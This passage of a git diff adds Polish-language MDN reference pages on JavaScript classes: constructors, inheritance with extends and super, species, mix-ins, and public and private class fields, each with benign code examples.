notranslate">class Animal { + speak() { + return this; + } + static eat() { + return this; + } +} + +let obj = new Animal(); +obj.speak(); // obiekt Animal +let speak = obj.speak; +speak(); // undefined + +Animal.eat(); // klasa Animal +let eat = Animal.eat; +eat(); // undefined</pre> + +<p>Jeśli przepiszemy powyższy przykład z użyciem tradycyjnych funkcji bez dyrektywy <code>"use strict"</code>, to <code>this</code> wywołane w metodzie będzie automatycznie przypisane do pierwotnej wartości <code>this</code>, którą domyślnie jest <a href="/en-US/docs/Glossary/Global_object">global object</a>.</p> + +<pre class="brush: js notranslate">function Animal() { } + +Animal.prototype.speak = function() { + return this; +} + +Animal.eat = function() { + return this; +} + +let obj = new Animal(); +let speak = obj.speak; +speak(); // global object + +let eat = Animal.eat; +eat(); // global object +</pre> + +<h3 id="Właściwości_instancji">Właściwości instancji</h3> + +<p>Właściwości instancji muszą być zdefiniowane wewnątrz metody klasy:</p> + +<pre class="brush: js notranslate">class Rectangle { + constructor(height, width) { + this.height = height; + this.width = width; + } +}</pre> + +<p>Statyczne właściwości i właściwości prototypu muszą być zdefiniowane poza ciałem klasy:</p> + +<pre class="brush: js notranslate">Rectangle.staticWidth = 20; +Rectangle.prototype.prototypeWidth = 25;</pre> + +<h3 id="Deklaracje_pól">Deklaracje pól</h3> + +<div class="blockIndicator warning"> +<p>Publiczna i prywatne deklaracje pól są <a href="https://github.com/tc39/proposal-class-fields">funkcjonalnościami eksperymentalnymi</a> zaproponowanymi na <a href="https://tc39.es">TC39</a>. Wsparcie przeglądarek jest ograniczone, ale ta funkcjonalność może być używana przy użyciu systemów takich jak <a href="https://babeljs.io/">Babel</a>. </p> +</div> + +<h4 id="Deklaracje_pól_publicznych">Deklaracje pól publicznych</h4> + +<p>Przy użyciu deklaracji pól, powyższy przykład może być przepisany na:</p> + +<pre class="brush: js notranslate">class Rectangle { + height = 0; + width; + constructor(height, width) { + this.height = height; + this.width = width; + } +} +</pre> + +<p>Dzięki deklarowaniu pól na początku klasy, definicje klas stają się bardziej samodokumentujące, a pola są zawsze obecne.</p> + +<p>Jak widać w powyższym przykładzie, pola mogą być zadeklarowane z lub bez domyślnej wartości.</p> + +<p>Zobacz <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Public_class_fields">public class fields</a> po więcej informacji.</p> + +<h4 id="Deklaracje_pól_prywatnych">Deklaracje pól prywatnych</h4> + +<p>Używając deklaracji pól prywatnych, definicja może być zapisana w taki sposób:</p> + +<pre class="brush: js notranslate">class Rectangle { + #height = 0; + #width; + constructor(height, width) { + this.#height = height; + this.#width = width; + } +} +</pre> + +<p>Próba odniesienia się do prywatnego pola poza ciałem klasy wygeneruje błąd. Prywatne pola mogą być tylko odczytywane i modyfikowane wewnątrz ciała klasy. Poprzez definicję właściwości niewidocznych poza ciałem klasy, można zapewnić, że użytkownicy klasy nie będą polegali na jej wewnętrznych właściwościach.</p> + +<div class="note"> +<p>Pola prywatne mogą być tylko zadeklarowane na początku ciała klasy</p> +</div> + +<p>Prywatnych pól nie da się utworzyć później, poprzez przypisywanie, tak jak normalnych właściwości.</p> + +<p>Po więcej informacji zobacz <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields">private class fields</a>.</p> + +<h2 id="Podklasy_z_extends">Podklasy z <code>extends</code></h2> + +<p>Słowo kluczowe <code><a href="/en-US/docs/Web/JavaScript/Reference/Classes/extends">extends</a></code> jest używane w <em>deklaracjach klas</em> lub <em>wyrażeniach klas</em> do tworzenia klasy jako elementu potomnego innej klasy.</p> + +<pre class="brush: js notranslate">class Animal { + constructor(name) { + this.name = name; + } + + speak() { + console.log(this.name + ' makes a noise.'); + } +} + +class Dog extends Animal { + constructor(name) { + super(name); // wywyłanie konstruktora klasy nadrzędnej poprzez użycie super() + } + speak() { + console.log(this.name + ' barks.'); + } +} + +let d = new Dog('Mitzie'); +d.speak(); // Mitzie barks. +</pre> + +<p>Jeśli w podklasie znajduje się konstruktor, musi najpierw wywołać super() przed użyciem "this".</p> + +<p>Można również rozszerzyć tradycyjne klasy oparte na funkcjach:</p> + +<pre class="brush: js notranslate">function Animal (name) { + this.name = name; +} + +Animal.prototype.speak = function () { + console.log(this.name + ' makes a noise.'); +} + +class Dog extends Animal { + speak() { + console.log(this.name + ' barks.'); + } +} + +let d = new Dog('Mitzie'); +d.speak(); // Mitzie barks +</pre> + +<p>Zwróć uwagę, że klasy nie mogą rozszerzać zwykłych (niezdatnych do konstrukcji) obiektów. Jeśli chcesz dziedziczyć po zwykłym obiekcie, możesz, zamiast tego użyć {{jsxref ("Object.setPrototypeOf()")}}:</p> + +<pre class="brush: js notranslate">var Animal = { + speak() { + console.log(this.name + ' makes a noise.'); + } +}; + +class Dog { + constructor(name) { + this.name = name; + } +} + +Object.setPrototypeOf(Dog.prototype, Animal);// If you do not do this you will get a TypeError when you invoke speak + +let d = new Dog('Mitzie'); +d.speak(); //Mitzie makes a noise. +</pre> + +<h2 id="Species">Species</h2> + +<p>Jeśli chcesz zwrócić obiekt {{jsxref("Array")}} w twojej klasie <code>MyArray</code>, która dziedziczy po <code>Array</code>, to możesz użyć wzorca "species", który pozwala na nadpisywanie domyślnych konstruktorów.</p> + +<p>Na przykład, wywołanie metody {{jsxref("Array.map", "map()")}} zwraca domyślny konstruktor <code>MyArray</code>. Użycie {{jsxref("Symbol.species")}} pozwala na nadpisanie tego zachowania tak, by zwracany był obiekt typu <code>Array</code>, a nie <code>MyArray</code>:</p> + +<pre class="brush: js notranslate">class MyArray extends Array { + // Nadpisanie domyślnego kontruktora + static get [Symbol.species]() { return Array; } +} + +var a = new MyArray(1,2,3); +var mapped = a.map(x => x * x); + +console.log(mapped instanceof MyArray); // false +console.log(mapped instanceof Array); // true +</pre> + +<h2 id="Słowo_kluczowe_super">Słowo kluczowe <code>super</code></h2> + +<p>Słowo kluczowe <strong>super </strong>jest wykorzystywane do udostępniania i korzystania z funkcji klasy, po której nasz obiekt dziedziczy.</p> + +<pre class="brush: js notranslate">class Cat { + constructor(name) { + this.name = name; + } + + speak() { + console.log(`${this.name} makes a noise.`); + } +} + +class Lion extends Cat { + speak() { + super.speak(); + console.log(`${this.name} roars.`); + } +} + +let l = new Lion('Fuzzy'); +l.speak(); +// Fuzzy makes a noise. +// Fuzzy roars.</pre> + +<h2 id="Mix-ins">Mix-ins</h2> + +<p>Abstrakcyjne podklasy lub <em>mix-ins</em> są szablonami dla klas. Klasa może mieć tylko jedną klasę nadrzędną, więc dziedziczenie z wielu klas jest niemożliwe. Cała funkcjonalność musi być dostarczona przez jedną klasę nadrzędną.</p> + +<p>Funkcja przyjmująca klasę nadrzędną jako argument i zwracająca podklasę rozszerzającą klasę nadrzędną może być użyta do implementacji mix-in'ów:</p> + +<pre class="brush: js notranslate">var calculatorMixin = Base => class extends Base { + calc() { } +}; + +var randomizerMixin = Base => class extends Base { + randomize() { } +}; +</pre> + +<p>Klasa używająca tych mix-in'ów może być zapisana w taki sposób:</p> + +<pre class="brush: js notranslate">class Foo { } +class Bar extends calculatorMixin(randomizerMixin(Foo)) { }</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<p>{{Compat("javascript.classes")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions">Functions</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li> + <li>{{jsxref("Operators/super", "super")}}</li> + <li><a href="https://hacks.mozilla.org/2015/07/es6-in-depth-classes/">Blog post: "ES6 In Depth: Classes"</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/classes/konstruktor/index.html b/files/pl/web/javascript/reference/classes/konstruktor/index.html new file mode 100644 index 0000000000..353adecd19 --- /dev/null +++ b/files/pl/web/javascript/reference/classes/konstruktor/index.html @@ -0,0 +1,188 @@ +--- +title: Konstruktor +slug: Web/JavaScript/Reference/Classes/Konstruktor +tags: + - Classes + - JavaScript + - Language feature +translation_of: Web/JavaScript/Reference/Classes/constructor +--- +<div>{{jsSidebar("Classes")}}</div> + +<p>Konstruktor <span id="result_box" lang="pl"><span>jest specjalną metodą tworzenia i inicjowania obiektu utworzonego w klasie.</span></span></p> + +<p>{{EmbedInteractiveExample("pages/js/classes-constructor.html")}}</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">constructor([arguments]) { ... }</pre> + +<h2 id="Opis">Opis</h2> + +<p>Konstruktor umożliwia zdefiniowanie inicjalizacji obiektu, która musi się wykonać, zanim będzie można wywołać metody obiektu.</p> + +<pre class="brush: js notranslate">class Person { + + constructor(name) { + this.name = name; + } + + introduce() { + console.log(`Hello, my name is ${this.name}`); + } + +} + +const otto = new Person('Otto'); + +otto.introduce();</pre> + +<p>Jeśli niestandardowy konstruktor nie został podany, to domyślny konstruktor będzie użyty. Dla klas bazowych konstruktor domyślny jest pusty:</p> + +<pre class="brush: js notranslate">constructor() {}</pre> + +<p>Dla klas pochodnych domyślny konstruktor wywołuje konstruktor klasy nadrzędnej:</p> + +<pre class="brush: js notranslate">constructor(...args) { + super(...args); +}</pre> + +<p>Pozwala to na działanie takiego kodu:</p> + +<pre class="brush: js notranslate">class ValidationError extends Error { + + printCustomerMessage() { + return `Validation failed :-( (details: ${this.message})`; + } + +} + +try { + throw new ValidationError("Not a valid phone number"); +} catch (error) { + if (error instanceof ValidationError) { + console.log(error.name); // This is Error instead of ValidationError! + console.log(error.printCustomerMessage()); + } else { + console.log('Unknown error', error); + throw error; + } +}</pre> + +<p>Klasa <code>ValidationError</code> nie musi mieć niestandardowego konstruktora, ponieważ domyślny konstruktor wywołuje konstruktor klasy <code>Error</code>.</p> + +<p>Jeśli jednak klasa <code>ValidationError</code> ma niestandardowy konstruktor, to musi on wywoływać konstruktor klasy nadrzędnej przy użyciu <code>super</code>:</p> + +<pre class="brush: js notranslate">class ValidationError extends Error { + + constructor(message) { + super(message); // call parent class constructor + this.name = 'ValidationError'; + this.code = '42'; + } + + printCustomerMessage() { + return `Validation failed :-( (details: ${this.message}, code: ${this.code})`; + } + +} + +try { + throw new ValidationError("Not a valid phone number"); +} catch (error) { + if (error instanceof ValidationError) { + console.log(error.name); // Now this is ValidationError! + console.log(error.printCustomerMessage()); + } else { + console.log('Unknown error', error); + throw error; + } +}</pre> + +<p>Wewnątrz klasy może być tylko jedna metoda nazwana <code>constructor</code>. Jeżeli <code>constructor</code> wystąpi więcej niż jeden raz, to wygeneruje błąd {{jsxref("SyntaxError")}}.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_konstruktora">Używanie konstruktora</h3> + +<p>Fragment kodu pochodzi z <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/classes-es6/index.html">classes sample</a> (<a href="https://googlechrome.github.io/samples/classes-es6/index.html">live demo</a>).</p> + +<pre class="brush: js notranslate">class Square extends Polygon { + constructor(length) { + // Wywołanie konstruktora klasy nadrzędnej + // określenie szerokości i wysokości wielokątu + super(length, length); + // Uwaga: W pochodnych klasach, super() musi być wywołane wcześniej niż + // pierwsze użycie 'this'. W przeciwnym wypadku pojawi się błąd odniesienia. + this.name = 'Square'; + } + + get area() { + return this.height * this.width; + } + + set area(value) { + this.area = value; + } +}</pre> + +<h3 id="Inny_przykład">Inny przykład</h3> + +<p>W tym przykładzie klasa <code>Square</code> jest zmieniona — ale konstruktor klasy <code>Polygon</code> nadal jest wywoływany przy tworzeniu nowej instancji klasy <code>Square</code>.</p> + +<pre class="brush: js notranslate">class Polygon { + constructor() { + this.name = "Polygon"; + } +} + +class Square extends Polygon { + constructor() { + super(); + } +} + +class Rectangle {} + +Object.setPrototypeOf(Square.prototype, Rectangle.prototype); + +console.log(Object.getPrototypeOf(Square.prototype) === Polygon.prototype); //false +console.log(Object.getPrototypeOf(Square.prototype) === Rectangle.prototype); //true + +let newInstance = new Square(); +console.log(newInstance.name); //Polygon</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-static-semantics-constructormethod', 'Constructor Method')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<p>{{Compat("javascript.classes.constructor")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super()</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/classes/private_class_fields/index.html b/files/pl/web/javascript/reference/classes/private_class_fields/index.html new file mode 100644 index 0000000000..6b55474d5b --- /dev/null +++ b/files/pl/web/javascript/reference/classes/private_class_fields/index.html @@ -0,0 +1,205 @@ +--- +title: Private class fields +slug: Web/JavaScript/Reference/Classes/Private_class_fields +tags: + - Classes + - JavaScript + - Language feature +translation_of: Web/JavaScript/Reference/Classes/Private_class_fields +--- +<div>{{JsSidebar("Classes")}}</div> + +<p>Właściwości klas są domyślnie publiczne i mogą być wywoływane i modyfikowane poza klasą. Istnieje jednak <a href="https://github.com/tc39/proposal-class-fields">funkcjonalność eksperymentalna</a> pozwalająca na zdefiniowanie pól prywatnych klasy przy użyciu <code>#</code> przed nazwą pola.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">class ClassWithPrivateField { + #privateField +} + +class ClassWithPrivateMethod { + #privateMethod() { + return 'hello world' + } +} + +class ClassWithPrivateStaticField { + static #PRIVATE_STATIC_FIELD +} +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Prywatne_pola_statyczne">Prywatne pola statyczne</h3> + +<p>Pola prywatne są dostępne z poziomu konstruktora klasy ze środka ciała klasy.</p> + +<p>Prywatne pola statyczne są tylko dostępne z poziomu statycznych metod. </p> + +<pre class="brush: js notranslate">class ClassWithPrivateStaticField { + static #PRIVATE_STATIC_FIELD + + static publicStaticMethod() { + ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42 + return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD + } +} + +console.assert(ClassWithPrivateStaticField.publicStaticMethod() === 42)</pre> + +<p>Prywatne pola statyczne są dodawane do konstruktora klasy podczas wykonywania klasy.</p> + +<p>Tylko klasa, która definiuje prywatne pola statyczne, może mieć do nich dostęp.</p> + +<p>Może to prowadzić to nieoczekiwanego zachowania podczas używania <strong><code>this</code></strong>.</p> + +<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField { + static #PRIVATE_STATIC_FIELD + + static basePublicStaticMethod() { + this.#PRIVATE_STATIC_FIELD = 42 + return this.#PRIVATE_STATIC_FIELD + } +} + +class SubClass extends BaseClassWithPrivateStaticField { } + +let error = null + +try { + SubClass.basePublicStaticMethod() +} catch(e) { error = e} + +console.assert(error instanceof TypeError) +</pre> + +<h3 id="Prywatne_pola_instancji">Prywatne pola instancji</h3> + +<p>Prywatne pola instancji są deklarowane przy użyciu <strong># names </strong>("<em>hash names</em>"), czyli nazw poprzedzonych <code>#</code>. Znak <code>#</code> jest częścią nazwy. Jest używany do deklaracji i dostępu do właściwości.</p> + +<p>Enkapsulacja jest wymuszona przez język. Próba dostępu do prywatnego pola poza klasą wygeneruje błąd <code>Syntax Error</code>.</p> + +<pre class="brush: js notranslate">class ClassWithPrivateField { + #privateField + + constructor() { + this.#privateField = 42 + this.#randomField = 444 // Syntax error + } +} + +const instance = new ClassWithPrivateField() +instance.#privateField === 42 // Syntax error +</pre> + +<h3 id="Prywatne_metody">Prywatne metody</h3> + +<h4 id="Prywatne_metody_statyczne">Prywatne metody statyczne</h4> + +<p>Podobnie jak ich publiczne odpowiedniki, prywatne metody statyczne są wywoływane przez samą klasę, a nie jej instancje. Podobnie jak pola prywatne, są dostępne tylko z poziomu ciała klasy.</p> + +<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod { + static #privateStaticMethod() { + return 42 + } + + static publicStaticMethod1() { + return ClassWithPrivateStaticMethod.#privateStaticMethod(); + } + + static publicStaticMethod2() { + return this.#privateStaticMethod(); + } +} + +console.assert(ClassWithPrivateStaticMethod.publicStaticMethod1() === 42); +console.assert(ClassWithPrivateStaticMethod.publicStaticMethod2() === 42); +</pre> + +<p>Może to prowadzić do nieoczekiwanego zachowania przy używaniu <strong><code>this</code></strong>. W poniższym przykładzie <code>this</code> odnosi się do klasy <code>Derived</code> (a nie klasy <code>Base</code>) podczas wywołania metody <code>Derived.publicStaticMethod2()</code>, co powoduje błąd.</p> + +<pre class="brush: js notranslate">class Base { + static #privateStaticMethod() { + return 42; + } + static publicStaticMethod1() { + return Base.#privateStaticMethod(); + } + static publicStaticMethod2() { + return this.#privateStaticMethod(); + } +} + +class Derived extends Base {} + +console.log(Derived.publicStaticMethod1()); // 42 +console.log(Derived.publicStaticMethod2()); // TypeError +</pre> + +<h4 id="Prywatne_metody_instancji">Prywatne metody instancji</h4> + +<p>Prywatne metody instancji to metody dostępne dla instancji klasy, które mają podobne ograniczenia co prywatne pola instancji.</p> + +<pre class="brush: js notranslate">class ClassWithPrivateMethod { + #privateMethod() { + return 'hello world' + } + + getPrivateMessage() { + return this.#privateMethod() + } +} + +const instance = new ClassWithPrivateMethod() +console.log(instance.getPrivateMessage()) +// expected output: "hello world"</pre> + +<p>Prywatne metody mogą używać async lub być generatorami. Możliwe jest również tworzenie prywatnych getter'ów i setter'ów:</p> + +<pre class="brush: js notranslate">class ClassWithPrivateAccessor { + #message + + get #decoratedMessage() { + return `✨${this.#message}✨` + } + set #decoratedMessage(msg) { + this.#message = msg + } + + constructor() { + this.#decoratedMessage = 'hello world' + console.log(this.#decoratedMessage) + } +} + +new ClassWithPrivateAccessor(); +// expected output: "✨hello world✨" +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_2"><a id="Kompatybilność" name="Kompatybilność">Kompatybilność</a></h2> + + + +<p>{{Compat("javascript.classes.private_class_fields")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Reference/Classes/Public_class_fields">Public class fields</a></li> + <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/classes/public_class_fields/index.html b/files/pl/web/javascript/reference/classes/public_class_fields/index.html new file mode 100644 index 0000000000..780300e64f --- /dev/null +++ b/files/pl/web/javascript/reference/classes/public_class_fields/index.html @@ -0,0 +1,269 @@ +--- +title: Public class fields +slug: Web/JavaScript/Reference/Classes/Public_class_fields +tags: + - Classes + - JavaScript + - Language feature +translation_of: Web/JavaScript/Reference/Classes/Public_class_fields +--- +<div>{{JsSidebar("Classes")}}</div> + +<div> +<div class="note"> +<p><strong>Ta strona opisuje funkcjonalności eksperymentalne</strong></p> + +<p>Deklaracje pól publicznych i prywatnych są <a class="external external-icon" href="https://github.com/tc39/proposal-class-fields" rel="noopener">funkcjonalnościami eksperymentalnymi (stage 3)</a> zaproponowanymi na <a class="external external-icon" href="https://tc39.github.io/beta/" rel="noopener">TC39</a>.</p> + +<p>Wsparcie przeglądarek jest ograniczone, ale ta funkcjonalność może być używana przy użyciu systemów takich jak <a class="external external-icon" href="https://babeljs.io/" rel="noopener">Babel</a>. Zobacz <a href="#Kompatybilność">tabelę kompatybilności</a> poniżej.</p> +</div> +</div> + +<p>Zarówno statyczne, jak i instancyjne pola publiczne są właściwościami zapisywalnymi, wyliczalnymi i konfigurowalnymi. W przeciwieństwie do ich prywatnych odpowiedników uczestniczą w dziedziczeniu prototypów.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">class ClassWithInstanceField { + instanceField = 'instance field' +} + +class ClassWithStaticField { + static staticField = 'static field' +} + +class ClassWithPublicInstanceMethod { + publicMethod() { + return 'hello world' + } +} +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Publiczne_pola_statyczne">Publiczne pola statyczne</h3> + +<p>Publiczne pola statyczne są użyteczne, gdy chcesz, aby pole istniało tylko raz dla danej klasy, a nie dla każdej tworzonej instancji klasy. Jest to użyteczne w przypadku cache'ów, stałej konfiguracji lub innych danych, które nie muszą być replikowane na wszystkich instancjach.</p> + +<p>Publiczne pola statyczne są deklarowane z użyciem słowa kluczowego <code>static</code>. Są dodawane do konstruktora klasy podczas jej wykonywania z użyciem {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Są one dostępne z poziomu konstruktora klasy.</p> + +<pre class="brush: js notranslate">class ClassWithStaticField { + static staticField = 'static field' +} + +console.log(ClassWithStaticField.staticField) +// expected output: "static field" +</pre> + +<p>Pola bez inicjalizatorów są ustawiane na <code>undefined</code>.</p> + +<pre class="brush: js notranslate">class ClassWithStaticField { + static staticField +} + +console.assert(ClassWithStaticField.hasOwnProperty('staticField')) +console.log(ClassWithStaticField.staticField) +// expected output: "undefined"</pre> + +<p>Publiczne pola statyczne nie są inicjalizowane ponownie w podklasach, ale można uzyskać do nich dostęp przez łańcuch prototypów.</p> + +<pre class="brush: js notranslate">class ClassWithStaticField { + static baseStaticField = 'base field' +} + +class SubClassWithStaticField extends ClassWithStaticField { + static subStaticField = 'sub class field' +} + +console.log(SubClassWithStaticField.subStaticField) +// expected output: "sub class field" + +console.log(SubClassWithStaticField.baseStaticField) +// expected output: "base field"</pre> + +<p>Przy inicjalizacji pól, <code>this</code> odnosi się do konstruktora klasy. Można się również odwołać przez nazwę i użyć <code>super</code> do otrzymania konstruktora klasy nadrzędnej (jeżeli istnieje).</p> + +<pre class="brush: js notranslate">class ClassWithStaticField { + static baseStaticField = 'base static field' + static anotherBaseStaticField = this.baseStaticField + + static baseStaticMethod() { return 'base static method output' } +} + +class SubClassWithStaticField extends ClassWithStaticField { + static subStaticField = super.baseStaticMethod() +} + +console.log(ClassWithStaticField.anotherBaseStaticField) +// expected output: "base static field" + +console.log(SubClassWithStaticField.subStaticField) +// expected output: "base static method output" +</pre> + +<h3 id="Publiczne_pola_instancyjne">Publiczne pola instancyjne</h3> + +<p>Publiczne pola instancyjne istnieją na każdej utworzonej instancji danej klasy. Poprzez zadeklarowanie pola publicznego, można zapewnić, że pole jest zawsze obecne, a definicja klasy jest bardziej samodokumentująca.</p> + +<p>Publiczne pola instancyjne są dodawane przy użyciu {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} podczas wykonywania konstruktora klasy, lub po wywołaniu metody <code>super()</code>.</p> + +<pre class="brush: js notranslate">class ClassWithInstanceField { + instanceField = 'instance field' +} + +const instance = new ClassWithInstanceField() +console.log(instance.instanceField) +// expected output: "instance field"</pre> + +<p>Pola bez inicjalizatorów są ustawiane na <code>undefined</code>.</p> + +<pre class="brush: js notranslate">class ClassWithInstanceField { + instanceField +} + +const instance = new ClassWithInstanceField() +console.assert(instance.hasOwnProperty('instanceField')) +console.log(instance.instanceField) +// expected output: "undefined"</pre> + +<p>Podobnie jak właściwości, nazwy pól mogą być obliczane.</p> + +<pre class="brush: js notranslate">const PREFIX = 'prefix' + +class ClassWithComputedFieldName { + [`${PREFIX}Field`] = 'prefixed field' +} + +const instance = new ClassWithComputedFieldName() +console.log(instance.prefixField) +// expected output: "prefixed field"</pre> + +<p>Przy inicjalizacji pól <code>this</code> odnosi się do instancji klasy. Tak jak w publicznych metodach instancji, można odnieść się do klasy nadrzędnej, używając <code>super</code>.</p> + +<pre class="brush: js notranslate">class ClassWithInstanceField { + baseInstanceField = 'base field' + anotherBaseInstanceField = this.baseInstanceField + baseInstanceMethod() { return 'base method output' } +} + +class SubClassWithInstanceField extends ClassWithInstanceField { + subInstanceField = super.baseInstanceMethod() +} + +const base = new ClassWithInstanceField() +const sub = new SubClassWithInstanceField() + +console.log(base.anotherBaseInstanceField) +// expected output: "base field" + +console.log(sub.subInstanceField) +// expected output: "base method output"</pre> + +<h3 id="Publiczne_metody">Publiczne metody</h3> + +<h4 id="Publiczne_metody_statyczne">Publiczne metody statyczne</h4> + +<p>Słowo kluczowe <code><strong>static</strong></code> definiuje metodę statyczną dla klasy. Metody statyczne nie są wywoływane na instancjach klasy, ale na samej klasie. Są to często funkcje użytkowe, takie jak funkcje tworzenia lub klonowania obiektów.</p> + +<pre class="brush: js notranslate">class ClassWithStaticMethod { + static staticMethod() { + return 'static method has been called.'; + } +} + +console.log(ClassWithStaticMethod.staticMethod()); +// expected output: "static method has been called."</pre> + +<p>Metody statyczne są dodawane do konstruktora klasy z użyciem {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} podczas wykonania klasy. Te metody są zapisywalne, niewyliczalne i konfigurowalne.</p> + +<h4 id="Publiczne_metody_instancyjne">Publiczne metody instancyjne</h4> + +<p>Jak nazwa wskazuje, publiczne metody instancji to metody dostępne na instancjach klasy.</p> + +<pre class="brush: js notranslate">class ClassWithPublicInstanceMethod { + publicMethod() { + return 'hello world' + } +} + +const instance = new ClassWithPublicInstanceMethod() +console.log(instance.publicMethod()) +// expected output: "hello world"</pre> + +<p>Publiczne metody instancji są dodawane do prototypu klasy z użyciem {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}} podczas wykonania klasy. Te metody są zapisywalne, niewyliczalne i konfigurowalne.</p> + +<p>Publiczne metody mogą używać async lub być generatorami.</p> + +<pre class="brush: js notranslate">class ClassWithFancyMethods { + *generatorMethod() { } + async asyncMethod() { } + async *asyncGeneratorMethod() { } +}</pre> + +<p>Wewnątrz metod instancji, <code>this</code> odnosi się do samej instancji. W podklasach można użyć <code>super</code> do dostępu do prototypu klasy nadrzędnej, umożliwiając wywoływanie metod tej klasy.</p> + +<pre class="brush: js notranslate">class BaseClass { + msg = 'hello world' + basePublicMethod() { + return this.msg + } +} + +class SubClass extends BaseClass { + subPublicMethod() { + return super.basePublicMethod() + } +} + +const instance = new SubClass() +console.log(instance.subPublicMethod()) +// expected output: "hello world" +</pre> + +<p>Getter'y i setter'y to specjalne metody, które wiążą się z właściwością danej klasy i są wywoływane, gdy właściwość jest odczytywana lub modyfikowana. Do tworzenia getter'ów i setter'ów należy użyć <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Reference/Functions/get">get</a> and <a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Reference/Functions/set">set</a>.</p> + +<pre class="brush: js notranslate">class ClassWithGetSet { + #msg = 'hello world' + get msg() { + return this.#msg + } + set msg(x) { + this.#msg = `hello ${x}` + } +} + +const instance = new ClassWithGetSet() +console.log(instance.msg) +// expected output: "hello world" + +instance.msg = 'cake' +console.log(instance.msg) +// expected output: "hello cake" +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Public and private instance fields', '#prod-FieldDefinition', 'FieldDefinition')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_2"><a name="Kompatybilność">Kompatybilność</a></h2> + + + +<p>{{Compat("javascript.classes.public_class_fields")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Reference/Classes/Private_class_fields">Private class fields</a></li> + <li><a href="https://rfrn.org/~shu/2018/05/02/the-semantics-of-all-js-class-elements.html">The Semantics of All JS Class Elements</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/classes/static/index.html b/files/pl/web/javascript/reference/classes/static/index.html new file mode 100644 index 0000000000..814c118957 --- /dev/null +++ b/files/pl/web/javascript/reference/classes/static/index.html @@ -0,0 +1,138 @@ +--- +title: static +slug: Web/JavaScript/Reference/Classes/static +tags: + - Classes + - ECMAScript 2015 + - JavaScript + - Static +translation_of: Web/JavaScript/Reference/Classes/static +--- +<div>{{jsSidebar("Classes")}}</div> + +<p><span class="seoSummary">Słowo kluczowe <code><strong>static</strong></code> definiuje statyczną metodę lub właściwość klasy. Metody i właściwości statyczne nie są wywoływane na instancjach klasy, a bezpośrednio na samej klasie. Statyczne metody to często funkcje służące na przykład do tworzenia czy klonowania obiektów, a statyczne właściwości są użyteczne do cache'ów, stałej konfiguracji lub innych właściwości, które nie muszą być powielane w instancjach.</span></p> + 